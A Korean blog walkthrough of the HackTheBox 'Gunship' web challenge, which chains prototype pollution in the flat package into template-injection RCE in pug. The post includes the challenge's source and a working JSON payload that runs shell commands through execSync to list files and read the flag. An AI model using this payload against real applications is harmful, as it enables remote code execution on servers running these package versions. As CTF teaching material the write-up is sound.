워게임/HackTheBox

[HackTheBox] Gunship - 웹해킹 / Prototype Pollution / RCE

SecurityMan 2022. 11. 7. 11:00

 

HackTheBox 에서 제공하는 very easy 난이도의 웹해킹 문제

 

프로토타입 폴루션과 관련된 문제인데

 

당시 프로토타입 폴루션이라는걸 처음 접해봐서 푸는데 시간이 좀 걸렸다.

 

사실 아직도 완벽하게 이해는 못했다.

 

반응형

 

 

문제페이지에 접속하면 이런 화면이 나온다.

 

레트로 감성 가득한 웹페이지에

 

Who's your favourite artist? 라는 문구와 함께 이름을 입력하는 창이 보인다.

 

 

찾아보니 Gunship 은 밴드의 이름이다.

 

Alex Gingell, Dan Haigh, Alex Westaway 세 사람으로 이루어졌다고 한다.

 

const path              = require('path');
const express           = require('express');
const pug        	= require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

 

문제에서 제공된 소스파일에서 /route/index.js 파일의 내용을 보면

 

아까봤던 이름 넣는 칸에 대한 내용이 들어있다.

 

/api/submit 에 post로 데이터를 보내는데,

 

artist.name의 값에 Haigh, Westaway, Gingell 가 포함될 경우

 

Hello #{user}, thank you for letting us know! 라는 값이 출력되고,

 

아닐경우

 

Please provide us with the full name of an existing member 라는 값이 출력된다.

 

사실 별다른 기능이 없다. 

 

name 칸에 Gunship 멤버의 이름을 넣느냐 안넣느냐에 따라서 출력이 달라질 뿐이다.

 

이래서 문제푸는데 좀 막막했다.

 

	"dependencies": {
		"express": "^4.17.1",
		"flat": "5.0.0",
		"pug": "^3.0.0"

 

힌트를 얻은건 package.json 파일이었는데,

 

여기보면 문제페이지에서 flat 이랑 pug 이라는 것을 사용하고 있는걸 볼 수 있다.

 

flat 은 npm에서 javascript 객체를 가져와 평면화 하는 패키지이고

 

pug 는 npm 에서 사용할 수 있는 템플릿 엔진이다.

 

조금 찾아봤더니 flat 의 해당버전에서는 Prototype Pollution 취약점이 있고,

https://security.snyk.io/vuln/SNYK-JS-FLAT-596927

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

 

pug 의 해당 버전에서는 RCE(Remote Code Execution) 취약점이 있었다.

https://security.snyk.io/vuln/SNYK-JS-PUG-1071616

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

 

두 정보를 토대로 구글에 검색해봤더니

 

정말 감사하게도 어떤 외국분께서 만들어놓은 자료가 있었다.

 

https://blog.p6.is/AST-Injection/#Exploit

 

AST Injection, Prototype Pollution to RCE

This article describes how to trigger RCEin two well-known template engines,using a new technique called AST Injection. AST InjectionWhat is AST? https://en.wikipedia.org/wiki/Abstract_syntax_tree

blog.p6.is

 

이 글을 참고했는데,

 

친절하게 페이로드까지 작성을 해 놓으셨다.

 

{"artist.name":"Haigh",    
 "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`ls -al > /app/static/aaa`).toString()"
    }
 }

 

블로그에 있는 페이로드를 문제에 맞게 커스터마이징 해주면 된다.

 

일단 name 칸에 Gunship 멤버의 이름을 넣어야 하니

 

"artist.name" : "Haigh" 라고 입력해주고,

 

그다음부터 block.line 부분에 있는 execSync() 에 원하는 명령어를 입력해주면 된다.

 

문제페이지에서 사진과 글꼴같은 데이터들이 /app/static 경로에 저장되어 있는것을 확인해서

 

ls -al 명령어의 실행 결과가 /app/static/aaa 경로로 저장되게끔 했다.

 

 

해당 데이터를 전송했을때 응답 패킷을 Burp Suite 로 보면

 

Hello guestndefine 이라고 출력되는것을 볼 수 있다.

 

원래는 artist.name 을 입력하면 Hello guest 라고 나오는게 정상인데,

 

prototype pollution 을 이용해 RCE에 성공하면 이렇게 되에 ndefine 이 따라붙게 된다.

 

 

정확하게는 모르겠지만 ndefine 이라는건 pug 템플릿 엔진에서 튀어나온 값인것 같다.

 

 

/app/static/aaa 경로로 접근해보면

 

ls -al 명령어 실행결과가 이렇게 저장되어 있다.

 

flagB**** 라는 이름의 파일이 눈에 띈다.

 

{"artist.name":"Haigh",    
 "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`cat flagB**** > /app/static/aaa`).toString()"
    }
 }

 

해당 파일의 내용을 읽기 위해

 

cat flagB**** 라고 명령어를 수정해준 뒤 다시 한번 요청 패킷을 전송한다.

 

 

/app/static/aaa 경로로 다시 접근해보면

 

이번엔 플래그가 출력되는것을 볼 수 있다.

 

이게 very easy 난이도가 맞나 싶다..

반응형